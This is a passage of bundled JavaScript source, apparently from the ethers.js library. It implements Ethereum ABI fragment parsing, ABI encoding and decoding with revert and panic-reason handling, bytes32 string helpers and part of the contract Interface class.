\"obj.inputs\", inputs);\n consumeKeywords(obj, setify([\"payable\"]));\n consumeEoi(obj);\n return new FallbackFragment(_guard, [], true);\n }\n // fallback() [payable]\n // fallback(bytes) [payable] returns (bytes)\n let inputs = consumeParams(obj);\n if (inputs.length) {\n assertArgument(inputs.length === 1 && inputs[0].type === \"bytes\", \"invalid fallback inputs\", \"obj.inputs\", inputs.map((i) => i.format(\"minimal\")).join(\", \"));\n }\n else {\n inputs = [ParamType.from(\"bytes\")];\n }\n const mutability = consumeMutability(obj);\n assertArgument(mutability === \"nonpayable\" || mutability === \"payable\", \"fallback cannot be constants\", \"obj.stateMutability\", mutability);\n if (consumeKeywords(obj, setify([\"returns\"])).has(\"returns\")) {\n const outputs = consumeParams(obj);\n assertArgument(outputs.length === 1 && outputs[0].type === \"bytes\", \"invalid fallback outputs\", \"obj.outputs\", outputs.map((i) => i.format(\"minimal\")).join(\", \"));\n }\n consumeEoi(obj);\n return new FallbackFragment(_guard, inputs, mutability === \"payable\");\n }\n if (obj.type === \"receive\") {\n return new FallbackFragment(_guard, [], true);\n }\n if (obj.type === \"fallback\") {\n const inputs = [ParamType.from(\"bytes\")];\n const payable = (obj.stateMutability === \"payable\");\n return new FallbackFragment(_guard, inputs, payable);\n }\n assertArgument(false, \"invalid fallback description\", \"obj\", obj);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **FallbackFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === FallbackFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a method.\n */\nexport class FunctionFragment extends NamedFragment {\n /**\n * If the function is constant (e.g. ``pure`` or ``view`` functions).\n */\n constant;\n /**\n * The returned types for the result of calling this function.\n */\n outputs;\n /**\n * The state mutability (e.g. ``payable``, ``nonpayable``, ``view``\n * or ``pure``)\n */\n stateMutability;\n /**\n * If the function can be sent value during invocation.\n */\n payable;\n /**\n * The recommended gas limit to send when calling this function.\n */\n gas;\n /**\n * @private\n */\n constructor(guard, name, stateMutability, inputs, outputs, gas) {\n super(guard, \"function\", name, inputs);\n Object.defineProperty(this, internal, { value: FunctionFragmentInternal });\n outputs = Object.freeze(outputs.slice());\n const constant = (stateMutability === \"view\" || stateMutability === \"pure\");\n const payable = (stateMutability === \"payable\");\n defineProperties(this, { constant, gas, outputs, payable, stateMutability });\n }\n /**\n * The Function selector.\n */\n get selector() {\n return id(this.format(\"sighash\")).substring(0, 10);\n }\n /**\n * Returns a string representation of this function as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"function\",\n name: this.name,\n constant: this.constant,\n stateMutability: ((this.stateMutability !== \"nonpayable\") ? this.stateMutability : undefined),\n payable: this.payable,\n gas: ((this.gas != null) ? this.gas : undefined),\n inputs: this.inputs.map((i) => JSON.parse(i.format(format))),\n outputs: this.outputs.map((o) => JSON.parse(o.format(format))),\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"function\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n if (format !== \"sighash\") {\n if (this.stateMutability !== \"nonpayable\") {\n result.push(this.stateMutability);\n }\n if (this.outputs && this.outputs.length) {\n result.push(\"returns\");\n result.push(joinParams(format, this.outputs));\n }\n if (this.gas != null) {\n result.push(`@${this.gas.toString()}`);\n }\n }\n return result.join(\" \");\n }\n /**\n * Return the selector for a function with %%name%% and %%params%%.\n */\n static getSelector(name, params) {\n params = (params || []).map((p) => ParamType.from(p));\n const fragment = new FunctionFragment(_guard, name, \"view\", params, [], null);\n return fragment.selector;\n }\n /**\n * Returns a new **FunctionFragment** for %%obj%%.\n */\n static from(obj) {\n if (FunctionFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return FunctionFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid function fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"function\", obj);\n const inputs = consumeParams(obj);\n const mutability = consumeMutability(obj);\n let outputs = [];\n if (consumeKeywords(obj, setify([\"returns\"])).has(\"returns\")) {\n outputs = consumeParams(obj);\n }\n const gas = consumeGas(obj);\n consumeEoi(obj);\n return new FunctionFragment(_guard, name, mutability, inputs, outputs, gas);\n }\n let stateMutability = obj.stateMutability;\n // Use legacy Solidity ABI logic if stateMutability is missing\n if (stateMutability == null) {\n stateMutability = \"payable\";\n if (typeof (obj.constant) === \"boolean\") {\n stateMutability = \"view\";\n if (!obj.constant) {\n stateMutability = \"payable\";\n if (typeof (obj.payable) === \"boolean\" && !obj.payable) {\n stateMutability = \"nonpayable\";\n }\n }\n }\n else if (typeof (obj.payable) === \"boolean\" && !obj.payable) {\n stateMutability = \"nonpayable\";\n }\n }\n // @TODO: verifyState for stateMutability (e.g. throw if\n // payable: false but stateMutability is \"nonpayable\")\n return new FunctionFragment(_guard, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **FunctionFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === FunctionFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a structure.\n */\nexport class StructFragment extends NamedFragment {\n /**\n * @private\n */\n constructor(guard, name, inputs) {\n super(guard, \"struct\", name, inputs);\n Object.defineProperty(this, internal, { value: StructFragmentInternal });\n }\n /**\n * Returns a string representation of this struct as %%format%%.\n */\n format() {\n throw new Error(\"@TODO\");\n }\n /**\n * Returns a new **StructFragment** for %%obj%%.\n */\n static from(obj) {\n if (typeof (obj) === \"string\") {\n try {\n return StructFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid struct fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"struct\", obj);\n const inputs = consumeParams(obj);\n consumeEoi(obj);\n return new StructFragment(_guard, name, inputs);\n }\n return new StructFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []);\n }\n // @TODO: fix this return type\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **StructFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === StructFragmentInternal);\n }\n}\n//# sourceMappingURL=fragments.js.map","/**\n * When sending values to or receiving values from a [[Contract]], the\n * data is generally encoded using the [ABI standard](link-solc-abi).\n *\n * The AbiCoder provides a utility to encode values to ABI data and\n * decode values from ABI data.\n *\n * Most of the time, developers should favour the [[Contract]] class,\n * which further abstracts a lot of the finer details of ABI data.\n *\n * @_section api/abi/abi-coder:ABI Encoding\n */\n// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI\nimport { assertArgumentCount, assertArgument } from \"../utils/index.js\";\nimport { Reader, Writer } from \"./coders/abstract-coder.js\";\nimport { AddressCoder } from \"./coders/address.js\";\nimport { ArrayCoder } from \"./coders/array.js\";\nimport { BooleanCoder } from \"./coders/boolean.js\";\nimport { BytesCoder } from \"./coders/bytes.js\";\nimport { FixedBytesCoder } from \"./coders/fixed-bytes.js\";\nimport { NullCoder } from \"./coders/null.js\";\nimport { NumberCoder } from \"./coders/number.js\";\nimport { StringCoder } from \"./coders/string.js\";\nimport { TupleCoder } from \"./coders/tuple.js\";\nimport { ParamType } from \"./fragments.js\";\nimport { getAddress } from \"../address/index.js\";\nimport { getBytes, hexlify, makeError } from \"../utils/index.js\";\n// https://docs.soliditylang.org/en/v0.8.17/control-structures.html\nconst PanicReasons = new Map();\nPanicReasons.set(0x00, \"GENERIC_PANIC\");\nPanicReasons.set(0x01, \"ASSERT_FALSE\");\nPanicReasons.set(0x11, \"OVERFLOW\");\nPanicReasons.set(0x12, \"DIVIDE_BY_ZERO\");\nPanicReasons.set(0x21, \"ENUM_RANGE_ERROR\");\nPanicReasons.set(0x22, \"BAD_STORAGE_DATA\");\nPanicReasons.set(0x31, \"STACK_UNDERFLOW\");\nPanicReasons.set(0x32, \"ARRAY_RANGE_ERROR\");\nPanicReasons.set(0x41, \"OUT_OF_MEMORY\");\nPanicReasons.set(0x51, \"UNINITIALIZED_FUNCTION_CALL\");\nconst paramTypeBytes = new RegExp(/^bytes([0-9]*)$/);\nconst paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/);\nlet defaultCoder = null;\nlet defaultMaxInflation = 1024;\nfunction getBuiltinCallException(action, tx, data, abiCoder) {\n let message = \"missing revert data\";\n let reason = null;\n const invocation = null;\n let revert = null;\n if (data) {\n message = \"execution reverted\";\n const bytes = getBytes(data);\n data = hexlify(data);\n if (bytes.length === 0) {\n message += \" (no data present; likely require(false) occurred\";\n reason = \"require(false)\";\n }\n else if (bytes.length % 32 !== 4) {\n message += \" (could not decode reason; invalid data length)\";\n }\n else if (hexlify(bytes.slice(0, 4)) === \"0x08c379a0\") {\n // Error(string)\n try {\n reason = abiCoder.decode([\"string\"], bytes.slice(4))[0];\n revert = {\n signature: \"Error(string)\",\n name: \"Error\",\n args: [reason]\n };\n message += `: ${JSON.stringify(reason)}`;\n }\n catch (error) {\n message += \" (could not decode reason; invalid string data)\";\n }\n }\n else if (hexlify(bytes.slice(0, 4)) === \"0x4e487b71\") {\n // Panic(uint256)\n try {\n const code = Number(abiCoder.decode([\"uint256\"], bytes.slice(4))[0]);\n revert = {\n signature: \"Panic(uint256)\",\n name: \"Panic\",\n args: [code]\n };\n reason = `Panic due to ${PanicReasons.get(code) || \"UNKNOWN\"}(${code})`;\n message += `: ${reason}`;\n }\n catch (error) {\n message += \" (could not decode panic code)\";\n }\n }\n else {\n message += \" (unknown custom error)\";\n }\n }\n const transaction = {\n to: (tx.to ? getAddress(tx.to) : null),\n data: (tx.data || \"0x\")\n };\n if (tx.from) {\n transaction.from = getAddress(tx.from);\n }\n return makeError(message, \"CALL_EXCEPTION\", {\n action, data, reason, transaction, invocation, revert\n });\n}\n/**\n * The **AbiCoder** is a low-level class responsible for encoding JavaScript\n * values into binary data and decoding binary data into JavaScript values.\n */\nexport class AbiCoder {\n #getCoder(param) {\n if (param.isArray()) {\n return new ArrayCoder(this.#getCoder(param.arrayChildren), param.arrayLength, param.name);\n }\n if (param.isTuple()) {\n return new TupleCoder(param.components.map((c) => this.#getCoder(c)), param.name);\n }\n switch (param.baseType) {\n case \"address\":\n return new AddressCoder(param.name);\n case \"bool\":\n return new BooleanCoder(param.name);\n case \"string\":\n return new StringCoder(param.name);\n case \"bytes\":\n return new BytesCoder(param.name);\n case \"\":\n return new NullCoder(param.name);\n }\n // u?int[0-9]*\n let match = param.type.match(paramTypeNumber);\n if (match) {\n let size = parseInt(match[2] || \"256\");\n assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, \"invalid \" + match[1] + \" bit length\", \"param\", param);\n return new NumberCoder(size / 8, (match[1] === \"int\"), param.name);\n }\n // bytes[0-9]+\n match = param.type.match(paramTypeBytes);\n if (match) {\n let size = parseInt(match[1]);\n assertArgument(size !== 0 && size <= 32, \"invalid bytes length\", \"param\", param);\n return new FixedBytesCoder(size, param.name);\n }\n assertArgument(false, \"invalid type\", \"type\", param.type);\n }\n /**\n * Get the default values for the given %%types%%.\n *\n * For example, a ``uint`` is by default ``0`` and ``bool``\n * is by default ``false``.\n */\n getDefaultValue(types) {\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.defaultValue();\n }\n /**\n * Encode the %%values%% as the %%types%% into ABI data.\n *\n * @returns DataHexstring\n */\n encode(types, values) {\n assertArgumentCount(values.length, types.length, \"types/values length mismatch\");\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = (new TupleCoder(coders, \"_\"));\n const writer = new Writer();\n coder.encode(writer, values);\n return writer.data;\n }\n /**\n * Decode the ABI %%data%% as the %%types%% into values.\n *\n * If %%loose%% decoding is enabled, then strict padding is\n * not enforced. Some older versions of Solidity incorrectly\n * padded event data emitted from ``external`` functions.\n */\n decode(types, data, loose) {\n const coders = types.map((type) => this.#getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.decode(new Reader(data, loose, defaultMaxInflation));\n }\n static _setDefaultMaxInflation(value) {\n assertArgument(typeof (value) === \"number\" && Number.isInteger(value), \"invalid defaultMaxInflation factor\", \"value\", value);\n defaultMaxInflation = value;\n }\n /**\n * Returns the shared singleton instance of a default [[AbiCoder]].\n *\n * On the first call, the instance is created internally.\n */\n static defaultAbiCoder() {\n if (defaultCoder == null) {\n defaultCoder = new AbiCoder();\n }\n return defaultCoder;\n }\n /**\n * Returns an ethers-compatible [[CallExceptionError]] Error for the given\n * result %%data%% for the [[CallExceptionAction]] %%action%% against\n * the Transaction %%tx%%.\n */\n static getBuiltinCallException(action, tx, data) {\n return getBuiltinCallException(action, tx, data, AbiCoder.defaultAbiCoder());\n }\n}\n//# sourceMappingURL=abi-coder.js.map","/**\n * About bytes32 strings...\n *\n * @_docloc: api/utils:Bytes32 Strings\n */\nimport { getBytes, toUtf8Bytes, toUtf8String, zeroPadBytes } from \"../utils/index.js\";\n/**\n * Encodes %%text%% as a Bytes32 string.\n */\nexport function encodeBytes32String(text) {\n // Get the bytes\n const bytes = toUtf8Bytes(text);\n // Check we have room for null-termination\n if (bytes.length > 31) {\n throw new Error(\"bytes32 string must be less than 32 bytes\");\n }\n // Zero-pad (implicitly null-terminates)\n return zeroPadBytes(bytes, 32);\n}\n/**\n * Encodes the Bytes32-encoded %%bytes%% into a string.\n */\nexport function decodeBytes32String(_bytes) {\n const data = getBytes(_bytes, \"bytes\");\n // Must be 32 bytes with a null-termination\n if (data.length !== 32) {\n throw new Error(\"invalid bytes32 - not 32 bytes long\");\n }\n if (data[31] !== 0) {\n throw new Error(\"invalid bytes32 string - no null terminator\");\n }\n // Find the null termination\n let length = 31;\n while (data[length - 1] === 0) {\n length--;\n }\n // Determine the string value\n return toUtf8String(data.slice(0, length));\n}\n//# sourceMappingURL=bytes32.js.map","/**\n * The Interface class is a low-level class that accepts an\n * ABI and provides all the necessary functionality to encode\n * and decode paramaters to and results from methods, events\n * and errors.\n *\n * It also provides several convenience methods to automatically\n * search and find matching transactions and events to parse them.\n *\n * @_subsection api/abi:Interfaces [interfaces]\n */\nimport { keccak256 } from \"../crypto/index.js\";\nimport { id } from \"../hash/index.js\";\nimport { concat, dataSlice, getBigInt, getBytes, getBytesCopy, hexlify, zeroPadBytes, zeroPadValue, isHexString, defineProperties, assertArgument, toBeHex, assert } from \"../utils/index.js\";\nimport { AbiCoder } from \"./abi-coder.js\";\nimport { checkResultErrors, Result } from \"./coders/abstract-coder.js\";\nimport { ConstructorFragment, ErrorFragment, EventFragment, Fragment, FunctionFragment, ParamType } from \"./fragments.js\";\nimport { Typed } from \"./typed.js\";\nexport { checkResultErrors, Result };\n/**\n * When using the [[Interface-parseLog]] to automatically match a Log to its event\n * for parsing, a **LogDescription** is returned.\n */\nexport class LogDescription {\n /**\n * The matching fragment for the ``topic0``.\n */\n fragment;\n /**\n * The name of the Event.\n */\n name;\n /**\n * The full Event signature.\n */\n signature;\n /**\n * The topic hash for the Event.\n */\n topic;\n /**\n * The arguments passed into the Event with ``emit``.\n */\n args;\n /**\n * @_ignore:\n */\n constructor(fragment, topic, args) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, signature, topic, args\n });\n }\n}\n/**\n * When using the [[Interface-parseTransaction]] to automatically match\n * a transaction data to its function for parsing,\n * a **TransactionDescription** is returned.\n */\nexport class TransactionDescription {\n /**\n * The matching fragment from the transaction ``data``.\n */\n fragment;\n /**\n * The name of the Function from the transaction ``data``.\n */\n name;\n /**\n * The arguments passed to the Function from the transaction ``data``.\n */\n args;\n /**\n * The full Function signature from the transaction ``data``.\n */\n signature;\n /**\n * The selector for the Function from the transaction ``data``.\n */\n selector;\n /**\n * The ``value`` (in wei) from the transaction.\n */\n value;\n /**\n * @_ignore:\n */\n constructor(fragment, selector, args, value) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, args, signature, selector, value\n });\n }\n}\n/**\n * When using the [[Interface-parseError]] to automatically match an\n * error for a call result for parsing, an **ErrorDescription** is returned.\n */\nexport class ErrorDescription {\n /**\n * The matching fragment.\n */\n fragment;\n /**\n * The name of the Error.\n */\n name;\n /**\n * The arguments passed to the Error with ``revert``.\n */\n args;\n /**\n * The full Error signature.\n */\n signature;\n /**\n * The selector for the Error.\n */\n selector;\n /**\n * @_ignore:\n */\n constructor(fragment, selector, args) {\n const name = fragment.name, signature = fragment.format();\n defineProperties(this, {\n fragment, name, args, signature, selector\n });\n }\n}\n/**\n * An **Indexed** is used as a value when a value that does not\n * fit within a topic (i.e. not a fixed-length, 32-byte type). It\n * is the ``keccak256`` of the value, and used for types such as\n * arrays, tuples, bytes and strings.\n */\nexport class Indexed {\n /**\n * The ``keccak256`` of the value logged.\n */\n hash;\n /**\n * @_ignore:\n */\n _isIndexed;\n /**\n * Returns ``true`` if %%value%% is an **Indexed**.\n *\n * This provides a Type Guard for property access.\n */\n static isIndexed(value) {\n return !!(value && value._isIndexed);\n }\n /**\n * @_ignore:\n */\n constructor(hash) {\n defineProperties(this, { hash, _isIndexed: true });\n }\n}\n// https://docs.soliditylang.org/en/v0.8.13/control-structures.html?highlight=panic#panic-via-assert-and-error-via-require\nconst PanicReasons = {\n \"0\": \"generic panic\",\n \"1\": \"assert(false)\",\n \"17\": \"arithmetic overflow\",\n \"18\": \"division or modulo by zero\",\n \"33\": \"enum overflow\",\n \"34\": \"invalid encoded storage byte array accessed\",\n \"49\": \"out-of-bounds array access; popping on an empty array\",\n \"50\": \"out-of-bounds access of an array or bytesN\",\n \"65\": \"out of memory\",\n \"81\": \"uninitialized function\",\n};\nconst BuiltinErrors = {\n \"0x08c379a0\": {\n signature: \"Error(string)\",\n name: \"Error\",\n inputs: [\"string\"],\n reason: (message) => {\n return `reverted with reason string ${JSON.stringify(message)}`;\n }\n },\n \"0x4e487b71\": {\n signature: \"Panic(uint256)\",\n name: \"Panic\",\n inputs: [\"uint256\"],\n reason: (code) => {\n let reason = \"unknown panic code\";\n if (code >= 0 && code <= 0xff && PanicReasons[code.toString()]) {\n reason = PanicReasons[code.toString()];\n }\n return `reverted with panic code 0x${code.toString(16)} (${reason})`;\n }\n }\n};\n/**\n * An Interface abstracts many of the low-level details for\n * encoding and decoding the data on the blockchain.\n *\n * An ABI provides information on how to encode data to send to\n * a Contract, how to decode the results and events and how to\n * interpret revert errors.\n *\n * The ABI can be specified by [any supported format](InterfaceAbi).\n */\nexport class Interface {\n /**\n * All the Contract ABI members (i.e. methods, events, errors, etc).\n */\n fragments;\n /**\n * The Contract constructor.\n */\n deploy;\n /**\n * The Fallback method, if any.\n */\n fallback;\n /**\n * If receiving ether is supported.\n */\n receive;\n #errors;\n #events;\n #functions;\n // #structs: Map;\n #abiCoder;\n /**\n * Create a new Interface for the %%fragments%%.\n */\n constructor(fragments) {\n let abi = [];\n if (typeof (fragments) === \"string\") {\n abi = JSON.parse(fragments);\n }\n else {\n abi = fragments;\n }\n this.#functions = new Map();\n this.#errors = new Map();\n this.#events = new Map();\n // this.#structs = new Map();\n const frags = [];\n for (const a of abi) {\n try {\n frags.push(Fragment.from(a));\n }\n catch (error) {\n console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`, error.message);\n }\n }\n defineProperties(this, {\n fragments: Object.freeze(frags)\n });\n let fallback = null;\n let receive = false;\n this.#abiCoder = this.getAbiCoder();\n // Add all fragments by their signature\n this.fragments.forEach((fragment, index) => {\n let bucket;\n switch (fragment.type) {\n case \"constructor\":\n if (this.deploy) {\n console.log(\"duplicate definition - constructor\");\n return;\n }\n //checkNames(fragment, \"input\", fragment.inputs);\n defineProperties(this, { deploy: fragment });\n return;\n case \"fallback\":\n if (fragment.inputs.length === 0) {\n receive = true;\n }\n else {\n assertArgument(!fallback || fragment.payable !== fallback.payable, \"conflicting fallback fragments\", `fragments[${index}]`, fragment);\n fallback = fragment;\n receive = fallback.payable;\n }\n return;\n case \"function\":\n //checkNames(fragment, \"input\", fragment.inputs);\n //checkNames(fragment, \"output\", (fragment).outputs);\n bucket = this.#functions;\n break;\n case \"event\":\n //checkNames(fragment, \"input\", fragment.inputs);\n bucket = this.#events;\n break;\n case \"error\":\n bucket = this.#errors;\n break;\n default:\n return;\n }\n // Two identical entries; ignore it\n const signature = fragment.format();\n if (bucket.has(signature)) {\n return;\n }\n bucket.set(signature, fragment);\n });\n // If we do not have a constructor add a default\n if (!this.deploy) {\n defineProperties(this, {\n deploy: ConstructorFragment.from(\"constructor()\")\n });\n }\n defineProperties(this, { fallback, receive });\n }\n /**\n * Returns the entire Human-Readable ABI, as an array of\n * signatures, optionally as %%minimal%% strings, which\n * removes parameter names and unneceesary spaces.\n */\n format(minimal) {\n const format = (minimal ? \"minimal\" : \"full\");\n const abi = this.fragments.map((f) => f.format(format));\n return abi;\n }\n /**\n * Return the JSON-encoded ABI. This is the format Solidiy\n * returns.\n */\n formatJson() {\n const abi = this.fragments.map((f) => f.format(\"json\"));\n // We need to re-bundle the JSON fragments a bit\n return JSON.stringify(abi.map((j) => JSON.parse(j)));\n }\n /**\n * The ABI coder that will be used to encode and decode binary\n * data.\n */\n getAbiCoder() {\n return AbiCoder.defaultAbiCoder();\n }\n // Find a function definition by any means necessary (unless it is ambiguous)\n #getFunction(key, values, forceUnique) {\n // Selector\n if (isHexString(key)) {\n const selector = key.toLowerCase();\n for (const fragment of this.#functions.values()) {\n if (selector === fragment.selector) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#functions) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (values) {\n const lastValue = (values.length > 0) ? values[values.length - 1] : null;\n let valueLength = values.length;\n let allowOptions = true;\n if (Typed.isTyped(lastValue) && lastValue.type === \"overrides\") {\n allowOptions = false;\n valueLength--;\n }\n // Remove all matches that don't have a compatible length. The args\n // may contain an overrides, so the match may have n or n - 1 parameters\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs.length;\n if (inputs !== valueLength && (!allowOptions || inputs !== valueLength - 1)) {\n matching.splice(i, 1);\n }\n }\n // Remove all matches that don't match the Typed signature\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs;\n for (let j = 0; j < values.length; j++) {\n // Not a typed value\n if (!Typed.isTyped(values[j])) {\n continue;\n }\n // We are past the inputs\n if (j >= inputs.length) {\n if (values[j].type === \"overrides\") {\n continue;\n }\n matching.splice(i, 1);\n break;\n }\n // Make sure the value type matches the input type\n if (values[j].type !== inputs[j].baseType) {\n matching.splice(i, 1);\n break;\n }\n }\n }\n }\n // We found a single matching signature with an overrides, but the\n // last value is something that cannot possibly be an options\n if (matching.length === 1 && values && values.length !== matching[0].inputs.length) {\n const lastArg = values[values.length - 1];\n if (lastArg == null || Array.isArray(lastArg) || typeof (lastArg) !== \"object\") {\n matching.splice(0, 1);\n }\n }\n if (matching.length === 0) {\n return null;\n }\n if (matching.length > 1 && forceUnique) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous function description (i.e. matches ${matchStr})`, \"key\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n const result = this.#functions.get(FunctionFragment.from(key).format());\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Get the function name for %%key%%, which may be a function selector,\n * function name or function signature that belongs to the ABI.\n */\n getFunctionName(key) {\n const fragment = this.#getFunction(key, null, false);\n assertArgument(fragment, \"no matching function\", \"key\", key);\n return fragment.name;\n }\n /**\n * Returns true if %%key%% (a function selector, function name or\n * function signature) is present in the ABI.\n *\n * In the case of a function name, the name may be ambiguous, so\n * accessing the [[FunctionFragment]] may require refinement.\n */\n hasFunction(key) {\n return !!this.#getFunction(key, null, false);\n }\n /**\n * Get the [[FunctionFragment]] for %%key%%, which may be a function\n * selector, function name or function signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple functions match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single function in\n * the ABI, this will throw.\n */\n getFunction(key, values) {\n return this.#getFunction(key, values || null, true);\n }\n /**\n * Iterate over all functions, calling %%callback%%, sorted by their name.\n */\n forEachFunction(callback) {\n const names = Array.from(this.#functions.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#functions.get(name)), i);\n }\n }\n // Find an event definition by any means necessary (unless it is ambiguous)\n #getEvent(key, values, forceUnique) {\n // EventTopic\n if (isHexString(key)) {\n const eventTopic = key.toLowerCase();\n for (const fragment of this.#events.values()) {\n if (eventTopic === fragment.topicHash) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#events) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (values) {\n // Remove all matches that don't have a compatible length.\n for (let i = matching.length - 1; i >= 0; i--) {\n if (matching[i].inputs.length < values.length) {\n matching.splice(i, 1);\n }\n }\n // Remove all matches that don't match the Typed signature\n for (let i = matching.length - 1; i >= 0; i--) {\n const inputs = matching[i].inputs;\n for (let j = 0; j < values.length; j++) {\n // Not a typed value\n if (!Typed.isTyped(values[j])) {\n continue;\n }\n // Make sure the value type matches the input type\n if (values[j].type !== inputs[j].baseType) {\n matching.splice(i, 1);\n break;\n }\n }\n }\n }\n if (matching.length === 0) {\n return null;\n }\n if (matching.length > 1 && forceUnique) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous event description (i.e. matches ${matchStr})`, \"key\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n const result = this.#events.get(EventFragment.from(key).format());\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Get the event name for %%key%%, which may be a topic hash,\n * event name or event signature that belongs to the ABI.\n */\n getEventName(key) {\n const fragment = this.#getEvent(key, null, false);\n assertArgument(fragment, \"no matching event\", \"key\", key);\n return fragment.name;\n }\n /**\n * Returns true if %%key%% (an event topic hash, event name or\n * event signature) is present in the ABI.\n *\n * In the case of an event name, the name may be ambiguous, so\n * accessing the [[EventFragment]] may require refinement.\n */\n hasEvent(key) {\n return !!this.#getEvent(key, null, false);\n }\n /**\n * Get the [[EventFragment]] for %%key%%, which may be a topic hash,\n * event name or event signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple events match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single event in\n * the ABI, this will throw.\n */\n getEvent(key, values) {\n return this.#getEvent(key, values || null, true);\n }\n /**\n * Iterate over all events, calling %%callback%%, sorted by their name.\n */\n forEachEvent(callback) {\n const names = Array.from(this.#events.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#events.get(name)), i);\n }\n }\n /**\n * Get the [[ErrorFragment]] for %%key%%, which may be an error\n * selector, error name or error signature that belongs to the ABI.\n *\n * If %%values%% is provided, it will use the Typed API to handle\n * ambiguous cases where multiple errors match by name.\n *\n * If the %%key%% and %%values%% do not refine to a single error in\n * the ABI, this will throw.\n */\n getError(key, values) {\n if (isHexString(key)) {\n const selector = key.toLowerCase();\n if (BuiltinErrors[selector]) {\n return ErrorFragment.from(BuiltinErrors[selector].signature);\n }\n for (const fragment of this.#errors.values()) {\n if (selector === fragment.selector) {\n return fragment;\n }\n }\n return null;\n }\n // It is a bare name, look up the function (will return null if ambiguous)\n if (key.indexOf(\"(\") === -1) {\n const matching = [];\n for (const [name, fragment] of this.#errors) {\n if (name.split(\"(\" /* fix:) */)[0] === key) {\n matching.push(fragment);\n }\n }\n if (matching.length === 0) {\n if (key === \"Error\") {\n return ErrorFragment.from(\"error Error(string)\");\n }\n if (key === \"Panic\") {\n return ErrorFragment.from(\"error Panic(uint256)\");\n }\n return null;\n }\n else if (matching.length > 1) {\n const matchStr = matching.map((m) => JSON.stringify(m.format())).join(\", \");\n assertArgument(false, `ambiguous error description (i.e. ${matchStr})`, \"name\", key);\n }\n return matching[0];\n }\n // Normalize the signature and lookup the function\n key = ErrorFragment.from(key).format();\n if (key === \"Error(string)\") {\n return ErrorFragment.from(\"error Error(string)\");\n }\n if (key === \"Panic(uint256)\") {\n return ErrorFragment.from(\"error Panic(uint256)\");\n }\n const result = this.#errors.get(key);\n if (result) {\n return result;\n }\n return null;\n }\n /**\n * Iterate over all errors, calling %%callback%%, sorted by their name.\n */\n forEachError(callback) {\n const names = Array.from(this.#errors.keys());\n names.sort((a, b) => a.localeCompare(b));\n for (let i = 0; i < names.length; i++) {\n const name = names[i];\n callback((this.#errors.get(name)), i);\n }\n }\n // Get the 4-byte selector used by Solidity to identify a function\n /*\ngetSelector(fragment: ErrorFragment | FunctionFragment): string {\n if (typeof(fragment) === \"string\") {\n const matches: Array = [ ];\n\n try { matches.push(this.getFunction(fragment)); } catch (error) { }\n try { matches.push(this.getError(fragment)); } catch (_) { }\n\n if (matches.length === 0) {\n logger.throwArgumentError(\"unknown fragment\", \"key\", fragment);\n } else if (matches.length > 1) {\n logger.throwArgumentError(\"ambiguous fragment matches function and error\", \"key\", fragment);\n }\n\n fragment = matches[0];\n }\n\n return dataSlice(id(fragment.format()), 0, 4);\n}\n */\n // Get the 32-byte topic hash used by Solidity to identify an event\n 